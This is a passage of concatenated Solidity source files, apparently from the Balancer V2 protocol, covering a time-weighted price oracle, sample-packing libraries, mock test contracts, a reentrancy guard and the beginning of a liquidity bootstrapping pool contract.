uint256 latestTimestamp = latestSample.timestamp(); // The latest sample only has a non-zero timestamp if no data was ever processed and stored in the buffer. _require(latestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); if (latestTimestamp <= lookUpTime) { // The accumulator at times ahead of the latest one are computed by extrapolating the latest data. This is // equivalent to the instant value not changing between the last timestamp and the look up time. // We can use unchecked arithmetic since the accumulator can be represented in 53 bits, timestamps in 31 // bits, and the instant value in 22 bits. uint256 elapsed = lookUpTime - latestTimestamp; return latestSample.accumulator(variable) + (latestSample.instant(variable) * int256(elapsed)); } else { // The look up time is before the latest sample, but we need to make sure that it is not before the oldest // sample as well. // Since we use a circular buffer, the oldest sample is simply the next one. uint256 oldestIndex = latestIndex.next(); { // Local scope used to prevent stack-too-deep errors. bytes32 oldestSample = _getSample(oldestIndex); uint256 oldestTimestamp = oldestSample.timestamp(); // For simplicity's sake, we only perform past queries if the buffer has been fully initialized. This // means the oldest sample must have a non-zero timestamp. _require(oldestTimestamp > 0, Errors.ORACLE_NOT_INITIALIZED); // The only remaining condition to check is for the look up time to be between the oldest and latest // timestamps. _require(oldestTimestamp <= lookUpTime, Errors.ORACLE_QUERY_TOO_OLD); } // Perform binary search to find nearest samples to the desired timestamp. (bytes32 prev, bytes32 next) = _findNearestSample(lookUpTime, oldestIndex); // `next`'s timestamp is guaranteed to be larger than `prev`'s, so we can skip checked arithmetic. uint256 samplesTimeDiff = next.timestamp() - prev.timestamp(); if (samplesTimeDiff > 0) { // We estimate the accumulator at the requested look up time by interpolating linearly between the // previous and next accumulators. // We can use unchecked arithmetic since the accumulators can be represented in 53 bits, and timestamps // in 31 bits. int256 samplesAccDiff = next.accumulator(variable) - prev.accumulator(variable); uint256 elapsed = lookUpTime - prev.timestamp(); return prev.accumulator(variable) + ((samplesAccDiff * int256(elapsed)) / int256(samplesTimeDiff)); } else { // Rarely, one of the samples will have the exact requested look up time, which is indicated by `prev` // and `next` being the same. In this case, we simply return the accumulator at that point in time. return prev.accumulator(variable); } } } /** * @dev Finds the two samples with timestamps before and after `lookUpDate`. If one of the samples matches exactly, * both `prev` and `next` will be it. `offset` is the index of the oldest sample in the buffer. * * Assumes `lookUpDate` is greater or equal than the timestamp of the oldest sample, and less or equal than the * timestamp of the latest sample. */ function _findNearestSample(uint256 lookUpDate, uint256 offset) internal view returns (bytes32 prev, bytes32 next) { // We're going to perform a binary search in the circular buffer, which requires it to be sorted. To achieve // this, we offset all buffer accesses by `offset`, making the first element the oldest one. // Auxiliary variables in a typical binary search: we will look at some value `mid` between `low` and `high`, // periodically increasing `low` or decreasing `high` until we either find a match or determine the element is // not in the array. uint256 low = 0; uint256 high = Buffer.SIZE - 1; uint256 mid; // If the search fails and no sample has a timestamp of `lookUpDate` (as is the most common scenario), `sample` // will be either the sample with the largest timestamp smaller than `lookUpDate`, or the one with the smallest // timestamp larger than `lookUpDate`. bytes32 sample; uint256 sampleTimestamp; while (low <= high) { // Mid is the floor of the average. uint256 midWithoutOffset = (high + low) / 2; // Recall that the buffer is not actually sorted: we need to apply the offset to access it in a sorted way. mid = midWithoutOffset.add(offset); sample = _getSample(mid); sampleTimestamp = sample.timestamp(); if (sampleTimestamp < lookUpDate) { // If the mid sample is bellow the look up date, then increase the low index to start from there. low = midWithoutOffset + 1; } else if (sampleTimestamp > lookUpDate) { // If the mid sample is above the look up date, then decrease the high index to start from there. // We can skip checked arithmetic: it is impossible for `high` to ever be 0, as a scenario where `low` // equals 0 and `high` equals 1 would result in `low` increasing to 1 in the previous `if` clause. high = midWithoutOffset - 1; } else { // sampleTimestamp == lookUpDate // If we have an exact match, return the sample as both `prev` and `next`. return (sample, sample); } } // In case we reach here, it means we didn't find exactly the sample we where looking for. return sampleTimestamp < lookUpDate ? (sample, _getSample(mid.next())) : (_getSample(mid.prev()), sample); } /** * @dev Returns the sample that corresponds to a given `index`. * * Using this function instead of accessing storage directly results in denser bytecode (since the storage slot is * only computed here). */ function _getSample(uint256 index) internal view returns (bytes32) { return _samples[index]; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; library Buffer { // The buffer is a circular storage structure with 1024 slots. // solhint-disable-next-line private-vars-leading-underscore uint256 internal constant SIZE = 1024; /** * @dev Returns the index of the element before the one pointed by `index`. */ function prev(uint256 index) internal pure returns (uint256) { return sub(index, 1); } /** * @dev Returns the index of the element after the one pointed by `index`. */ function next(uint256 index) internal pure returns (uint256) { return add(index, 1); } /** * @dev Returns the index of an element `offset` slots after the one pointed by `index`. */ function add(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + offset) % SIZE; } /** * @dev Returns the index of an element `offset` slots before the one pointed by `index`. */ function sub(uint256 index, uint256 offset) internal pure returns (uint256) { return (index + SIZE - offset) % SIZE; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/LogCompression.sol"; contract WeightedOracleMath { using FixedPoint for uint256; /** * @dev Calculates the logarithm of the spot price of token B in token A. * * The return value is a 4 decimal fixed-point number: use `LogCompression.fromLowResLog` * to recover the original value. */ function _calcLogSpotPrice( uint256 normalizedWeightA, uint256 balanceA, uint256 normalizedWeightB, uint256 balanceB ) internal pure returns (int256) { // Max balances are 2^112 and min weights are 0.01, so the division never overflows. // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. uint256 spotPrice = balanceA.divUp(normalizedWeightA).divUp(balanceB.divUp(normalizedWeightB)); return LogCompression.toLowResLog(spotPrice); } /** * @dev Calculates the price of BPT in a token. `logBptTotalSupply` should be the result of calling `toLowResLog` * with the current BPT supply. * * The return value is a 4 decimal fixed-point number: use `LogCompression.fromLowResLog` * to recover the original value. */ function _calcLogBPTPrice( uint256 normalizedWeight, uint256 balance, int256 logBptTotalSupply ) internal pure returns (int256) { // BPT price = (balance / weight) / total supply // Since we already have ln(total supply) and want to compute ln(BPT price), we perform the computation in log // space directly: ln(BPT price) = ln(balance / weight) - ln(total supply) // The rounding direction is irrelevant as we're about to introduce a much larger error when converting to log // space. We use `divUp` as it prevents the result from being zero, which would make the logarithm revert. A // result of zero is therefore only possible with zero balances, which are prevented via other means. uint256 balanceOverWeight = balance.divUp(normalizedWeight); int256 logBalanceOverWeight = LogCompression.toLowResLog(balanceOverWeight); // Because we're subtracting two values in log space, this value has a larger error (+-0.0001 instead of // +-0.00005), which results in a final larger relative error of around 0.1%. return logBalanceOverWeight - logBptTotalSupply; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; /** * @dev This module provides an interface to store seemingly unrelated pieces of information, in particular used by * pools with a price oracle. * * These pieces of information are all kept together in a single storage slot to reduce the number of storage reads. In * particular, we not only store configuration values (such as the swap fee percentage), but also cache * reduced-precision versions of the total BPT supply and invariant, which lets us not access nor compute these values * when producing oracle updates during a swap. * * Data is stored with the following structure: * * [ swap fee pct | oracle enabled | oracle index | oracle sample initial timestamp | log supply | log invariant ] * [ uint64 | bool | uint10 | uint31 | int22 | int22 ] * * Note that we are not using the most-significant 106 bits. */ library WeightedPool2TokensMiscData { using WordCodec for bytes32; using WordCodec for uint256; uint256 private constant _LOG_INVARIANT_OFFSET = 0; uint256 private constant _LOG_TOTAL_SUPPLY_OFFSET = 22; uint256 private constant _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET = 44; uint256 private constant _ORACLE_INDEX_OFFSET = 75; uint256 private constant _ORACLE_ENABLED_OFFSET = 85; uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 86; /** * @dev Returns the cached logarithm of the invariant. */ function logInvariant(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_INVARIANT_OFFSET); } /** * @dev Returns the cached logarithm of the total supply. */ function logTotalSupply(bytes32 data) internal pure returns (int256) { return data.decodeInt22(_LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Returns the timestamp of the creation of the oracle's latest sample. */ function oracleSampleCreationTimestamp(bytes32 data) internal pure returns (uint256) { return data.decodeUint31(_ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Returns the index of the oracle's latest sample. */ function oracleIndex(bytes32 data) internal pure returns (uint256) { return data.decodeUint10(_ORACLE_INDEX_OFFSET); } /** * @dev Returns true if the oracle is enabled. */ function oracleEnabled(bytes32 data) internal pure returns (bool) { return data.decodeBool(_ORACLE_ENABLED_OFFSET); } /** * @dev Returns the swap fee percentage. */ function swapFeePercentage(bytes32 data) internal pure returns (uint256) { return data.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET); } /** * @dev Sets the logarithm of the invariant in `data`, returning the updated value. */ function setLogInvariant(bytes32 data, int256 _logInvariant) internal pure returns (bytes32) { return data.insertInt22(_logInvariant, _LOG_INVARIANT_OFFSET); } /** * @dev Sets the logarithm of the total supply in `data`, returning the updated value. */ function setLogTotalSupply(bytes32 data, int256 _logTotalSupply) internal pure returns (bytes32) { return data.insertInt22(_logTotalSupply, _LOG_TOTAL_SUPPLY_OFFSET); } /** * @dev Sets the timestamp of the creation of the oracle's latest sample in `data`, returning the updated value. */ function setOracleSampleCreationTimestamp(bytes32 data, uint256 _initialTimestamp) internal pure returns (bytes32) { return data.insertUint31(_initialTimestamp, _ORACLE_SAMPLE_CREATION_TIMESTAMP_OFFSET); } /** * @dev Sets the index of the oracle's latest sample in `data`, returning the updated value. */ function setOracleIndex(bytes32 data, uint256 _oracleIndex) internal pure returns (bytes32) { return data.insertUint10(_oracleIndex, _ORACLE_INDEX_OFFSET); } /** * @dev Enables or disables the oracle in `data`, returning the updated value. */ function setOracleEnabled(bytes32 data, bool _oracleEnabled) internal pure returns (bytes32) { return data.insertBool(_oracleEnabled, _ORACLE_ENABLED_OFFSET); } /** * @dev Sets the swap fee percentage in `data`, returning the updated value. */ function setSwapFeePercentage(bytes32 data, uint256 _swapFeePercentage) internal pure returns (bytes32) { return data.insertUint64(_swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; interface IPoolPriceOracle { /** * @dev Returns the raw data of the sample at `index`. */ function getSample(uint256 index) external view returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ); /** * @dev Returns the total number of samples. */ function getTotalSamples() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "../interfaces/IPriceOracle.sol"; /** * @dev This library provides functions to help manipulating samples for Pool Price Oracles. It handles updates, * encoding, and decoding of samples. * * Each sample holds the timestamp of its last update, plus information about three pieces of data: the price pair, the * price of BPT (the associated Pool token), and the invariant. * * Prices and invariant are not stored directly: instead, we store their logarithm. These are known as the 'instant' * values: the exact value at that timestamp. * * Additionally, for each value we keep an accumulator with the sum of all past values, each weighted by the time * elapsed since the previous update. This lets us later subtract accumulators at different points in time and divide by * the time elapsed between them, arriving at the geometric mean of the values (also known as log-average). * * All samples are stored in a single 256 bit word with the following structure: * * [ log pair price | bpt price | invariant | timestamp ] * [ instant | accumulator | instant | accumulator | instant | accumulator | ] * [ int22 | int53 | int22 | int53 | int22 | int53 | uint31 ] * MSB LSB * * Assuming the timestamp doesn't overflow (which holds until the year 2038), the largest elapsed time is 2^31, which * means the largest possible accumulator value is 2^21 * 2^31, which can be represented using a signed 53 bit integer. */ library Samples { using WordCodec for int256; using WordCodec for uint256; using WordCodec for bytes32; uint256 internal constant _TIMESTAMP_OFFSET = 0; uint256 internal constant _ACC_LOG_INVARIANT_OFFSET = 31; uint256 internal constant _INST_LOG_INVARIANT_OFFSET = 84; uint256 internal constant _ACC_LOG_BPT_PRICE_OFFSET = 106; uint256 internal constant _INST_LOG_BPT_PRICE_OFFSET = 159; uint256 internal constant _ACC_LOG_PAIR_PRICE_OFFSET = 181; uint256 internal constant _INST_LOG_PAIR_PRICE_OFFSET = 234; /** * @dev Updates a sample, accumulating the new data based on the elapsed time since the previous update. Returns the * updated sample. * * IMPORTANT: This function does not perform any arithmetic checks. In particular, it assumes the caller will never * pass values that cannot be represented as 22 bit signed integers. Additionally, it also assumes * `currentTimestamp` is greater than `sample`'s timestamp. */ function update( bytes32 sample, int256 instLogPairPrice, int256 instLogBptPrice, int256 instLogInvariant, uint256 currentTimestamp ) internal pure returns (bytes32) { // Because elapsed can be represented as a 31 bit unsigned integer, and the received values can be represented // as 22 bit signed integers, we don't need to perform checked arithmetic. int256 elapsed = int256(currentTimestamp - timestamp(sample)); int256 accLogPairPrice = _accLogPairPrice(sample) + instLogPairPrice * elapsed; int256 accLogBptPrice = _accLogBptPrice(sample) + instLogBptPrice * elapsed; int256 accLogInvariant = _accLogInvariant(sample) + instLogInvariant * elapsed; return pack( instLogPairPrice, accLogPairPrice, instLogBptPrice, accLogBptPrice, instLogInvariant, accLogInvariant, currentTimestamp ); } /** * @dev Returns the instant value stored in `sample` for `variable`. */ function instant(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _instLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _instLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _instLogInvariant(sample); } } /** * @dev Returns the accumulator value stored in `sample` for `variable`. */ function accumulator(bytes32 sample, IPriceOracle.Variable variable) internal pure returns (int256) { if (variable == IPriceOracle.Variable.PAIR_PRICE) { return _accLogPairPrice(sample); } else if (variable == IPriceOracle.Variable.BPT_PRICE) { return _accLogBptPrice(sample); } else { // variable == IPriceOracle.Variable.INVARIANT return _accLogInvariant(sample); } } /** * @dev Returns `sample`'s timestamp. */ function timestamp(bytes32 sample) internal pure returns (uint256) { return sample.decodeUint31(_TIMESTAMP_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the pair price. */ function _instLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the pair price. */ function _accLogPairPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the BPT price. */ function _instLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the BPT price. */ function _accLogBptPrice(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_BPT_PRICE_OFFSET); } /** * @dev Returns `sample`'s instant value for the logarithm of the invariant. */ function _instLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt22(_INST_LOG_INVARIANT_OFFSET); } /** * @dev Returns `sample`'s accumulator of the logarithm of the invariant. */ function _accLogInvariant(bytes32 sample) private pure returns (int256) { return sample.decodeInt53(_ACC_LOG_INVARIANT_OFFSET); } /** * @dev Returns a sample created by packing together its components. */ function pack( int256 instLogPairPrice, int256 accLogPairPrice, int256 instLogBptPrice, int256 accLogBptPrice, int256 instLogInvariant, int256 accLogInvariant, uint256 _timestamp ) internal pure returns (bytes32) { return instLogPairPrice.encodeInt22(_INST_LOG_PAIR_PRICE_OFFSET) | accLogPairPrice.encodeInt53(_ACC_LOG_PAIR_PRICE_OFFSET) | instLogBptPrice.encodeInt22(_INST_LOG_BPT_PRICE_OFFSET) | accLogBptPrice.encodeInt53(_ACC_LOG_BPT_PRICE_OFFSET) | instLogInvariant.encodeInt22(_INST_LOG_INVARIANT_OFFSET) | accLogInvariant.encodeInt53(_ACC_LOG_INVARIANT_OFFSET) | _timestamp.encodeUint(_TIMESTAMP_OFFSET); // Using 31 bits } /** * @dev Unpacks a sample into its components. */ function unpack(bytes32 sample) internal pure returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 _timestamp ) { logPairPrice = _instLogPairPrice(sample); accLogPairPrice = _accLogPairPrice(sample); logBptPrice = _instLogBptPrice(sample); accLogBptPrice = _accLogBptPrice(sample); logInvariant = _instLogInvariant(sample); accLogInvariant = _accLogInvariant(sample); _timestamp = timestamp(sample); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../oracle/Samples.sol"; contract MockSamples { using Samples for bytes32; struct Sample { int256 logPairPrice; int256 accLogPairPrice; int256 logBptPrice; int256 accLogBptPrice; int256 logInvariant; int256 accLogInvariant; uint256 timestamp; } function encode(Sample memory sample) public pure returns (bytes32) { return Samples.pack( sample.logPairPrice, sample.accLogPairPrice, sample.logBptPrice, sample.accLogBptPrice, sample.logInvariant, sample.accLogInvariant, sample.timestamp ); } function decode(bytes32 sample) public pure returns (Sample memory) { return Sample({ logPairPrice: sample.instant(IPriceOracle.Variable.PAIR_PRICE), accLogPairPrice: sample.accumulator(IPriceOracle.Variable.PAIR_PRICE), logBptPrice: sample.instant(IPriceOracle.Variable.BPT_PRICE), accLogBptPrice: sample.accumulator(IPriceOracle.Variable.BPT_PRICE), logInvariant: sample.instant(IPriceOracle.Variable.INVARIANT), accLogInvariant: sample.accumulator(IPriceOracle.Variable.INVARIANT), timestamp: sample.timestamp() }); } function update( bytes32 sample, int256 logPairPrice, int256 logBptPrice, int256 logInvariant, uint256 timestamp ) public pure returns (Sample memory) { bytes32 newSample = sample.update(logPairPrice, logBptPrice, logInvariant, timestamp); return decode(newSample); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "../../oracle/Samples.sol"; import "../../oracle/PoolPriceOracle.sol"; import "../../interfaces/IPriceOracle.sol"; import "./MockSamples.sol"; contract MockPoolPriceOracle is MockSamples, PoolPriceOracle { using Samples for bytes32; struct BinarySearchResult { uint256 prev; uint256 next; } event PriceDataProcessed(bool newSample, uint256 sampleIndex); function mockSample(uint256 index, Sample memory sample) public { _samples[index] = encode(sample); } function mockSamples(uint256[] memory indexes, Sample[] memory samples) public { for (uint256 i = 0; i < indexes.length; i++) { mockSample(indexes[i], samples[i]); } } function processPriceData( uint256 elapsed, uint256 currentIndex, int256 logPairPrice, int256 logBptPrice, int256 logInvariant ) public { uint256 currentSampleInitialTimestamp = block.timestamp - elapsed; uint256 sampleIndex = _processPriceData( currentSampleInitialTimestamp, currentIndex, logPairPrice, logBptPrice, logInvariant ); emit PriceDataProcessed(sampleIndex != currentIndex, sampleIndex); } function findNearestSamplesTimestamp(uint256[] memory dates, uint256 offset) external view returns (BinarySearchResult[] memory results) { results = new BinarySearchResult[](dates.length); for (uint256 i = 0; i < dates.length; i++) { (bytes32 prev, bytes32 next) = _findNearestSample(dates[i], offset); results[i] = BinarySearchResult({ prev: prev.timestamp(), next: next.timestamp() }); } } function getPastAccumulator( IPriceOracle.Variable variable, uint256 currentIndex, uint256 timestamp ) external view returns (int256) { return _getPastAccumulator(variable, currentIndex, block.timestamp - timestamp); } } // SPDX-License-Identifier: MIT // Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size. // Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using // private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size. pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "../BaseWeightedPool.sol"; import "./WeightCompression.sol"; /** * @dev Weighted Pool with mutable weights, designed to support V2 Liquidity Bootstrapping */ contract LiquidityBootstrappingPool is BaseWeightedPool, ReentrancyGuard { // The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy. // solhint-disable not-rely-on-time using FixedPoint for uint256; using WordCodec for bytes32; using WeightCompression for uint256; // LBPs often involve only two tokens - we support up to four since we're able to pack the entire config in a single // storage slot. uint256 private constant _MAX_LBP_TOKENS = 4; // State variables uint256 private immutable _totalTokens; IERC20 internal immutable _token0; IERC20 internal immutable _token1; IERC20 internal immutable _token2; IERC20 internal immutable _token3; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; uint256 internal immutable _scalingFactor2; uint256 internal immutable _scalingFactor3; // For gas optimization, store start/end weights and timestamps in one bytes32 // Start weights need to be high precision, since restarting the update resets them to "spot" // values. Target end weights do not need as much precision. // [ 32 bits | 32 bits | 64 bits | 124 bits | 3 bits | 1 bit ] // [ end timestamp | start timestamp | 4x16 end weights | 4x31 start weights | not used | swap enabled ] // |MSB LSB| bytes32 private _poolState; // Offsets for data elements in _poolState uint256 private constant _SWAP_ENABLED_OFFSET = 0; uint256 private constant _START_WEIGHT_OFFSET = 4; uint256 private constant _END_WEIGHT_OFFSET = 128; uint256 private constant _START_TIME_OFFSET = 192; uint256 private constant _END_TIME_OFFSET = 224; // Event declarations event SwapEnabledSet(bool swapEnabled); event GradualWeightUpdateScheduled( uint256 startTime, uint256 endTime, uint256[] startWeights, uint256[] endWeights ); constructor( IVault vault, string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory normalizedWeights, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner, bool swapEnabledOnStart ) BaseWeightedPool( vault, name, symbol, tokens, new address[](tokens.length), // Pass the zero address: LBPs can't have asset managers swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { uint256 totalTokens = tokens.length; InputHelpers.ensureInputLengthMatch(totalTokens, normalizedWeights.length); _totalTokens = totalTokens; // Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments _token0 = tokens[0]; _token1 = tokens[1]; _token2 = totalTokens > 2 ? tokens[2] : IERC20(0); _token3 = totalTokens > 3 ? tokens[3] : IERC20(0); _scalingFactor0 = _computeScalingFactor(tokens[0]); _scalingFactor1 = _computeScalingFactor(tokens[1]); _scalingFactor2 = totalTokens > 2 ? _computeScalingFactor(tokens[2]) : 0; _scalingFactor3 = totalTokens > 3 ? _computeScalingFactor(tokens[3]) : 0; uint256 currentTime = block.timestamp; _startGradualWeightChange(currentTime, currentTime, normalizedWeights, normalizedWeights); // If false, the pool will start in the disabled state (prevents front-running the enable swaps transaction) _setSwapEnabled(swapEnabledOnStart); } // External functions /** * @dev Tells whether swaps are enabled or not for the given pool. */ function getSwapEnabled() public view returns (bool) { return _poolState.decodeBool(_SWAP_ENABLED_OFFSET); } /** * @dev Return start time, end time, and endWeights as an array. * Current weights should be retrieved via `getNormalizedWeights()`. */ function getGradualWeightUpdateParams() external view returns ( uint256 startTime, uint256 endTime, uint256[] memory endWeights ) { // Load current pool state from storage bytes32 poolState = _poolState; startTime = poolState.decodeUint32(_START_TIME_OFFSET); endTime = poolState.decodeUint32(_END_TIME_OFFSET); uint256 totalTokens = _getTotalTokens(); endWeights = new uint256[](totalTokens); for (uint256 i = 0; i < totalTokens; i++) { endWeights[i] = poolState.decodeUint16(_END_WEIGHT_OFFSET + i * 16).uncompress16(); } } /** * @dev Can pause/unpause trading */ function setSwapEnabled(bool swapEnabled) external authenticate whenNotPaused nonReentrant { _setSwapEnabled(swapEnabled); } /** * @dev Schedule a gradual weight change, from the current weights to the given endWeights, * over startTime to endTime */ function updateWeightsGradually( uint256 startTime, uint256 endTime, uint256[] memory endWeights ) external authenticate whenNotPaused nonReentrant { InputHelpers.ensureInputLengthMatch(_getTotalTokens(), endWeights.length); // If the start time is in the past, "fast forward" to start now // This avoids discontinuities in the weight curve. Otherwise, if you set the start/end times with // only 10% of the period in the future, the weights would immediately jump 90% uint256 currentTime = block.timestamp; startTime = Math.max(currentTime, startTime); _require(startTime <= endTime, Errors.GRADUAL_UPDATE_TIME_TRAVEL); _startGradualWeightChange(startTime, endTime, _getNormalizedWeights(), endWeights); } // Internal functions function _getNormalizedWeight(IERC20 token) internal view override returns (uint256) { uint256 i; // First, convert token address to a token index // prettier-ignore if (token == _token0) { i = 0; } else if (token == _token1) { i = 1; } else if (token == _token2) { i = 2; } else if (token == _token3) { i = 3; } else { _revert(Errors.INVALID_TOKEN); } return _getNormalizedWeightByIndex(i, _poolState); } function _getNormalizedWeightByIndex(uint256 i, bytes32 poolState) internal view returns (uint256) { uint256 startWeight = 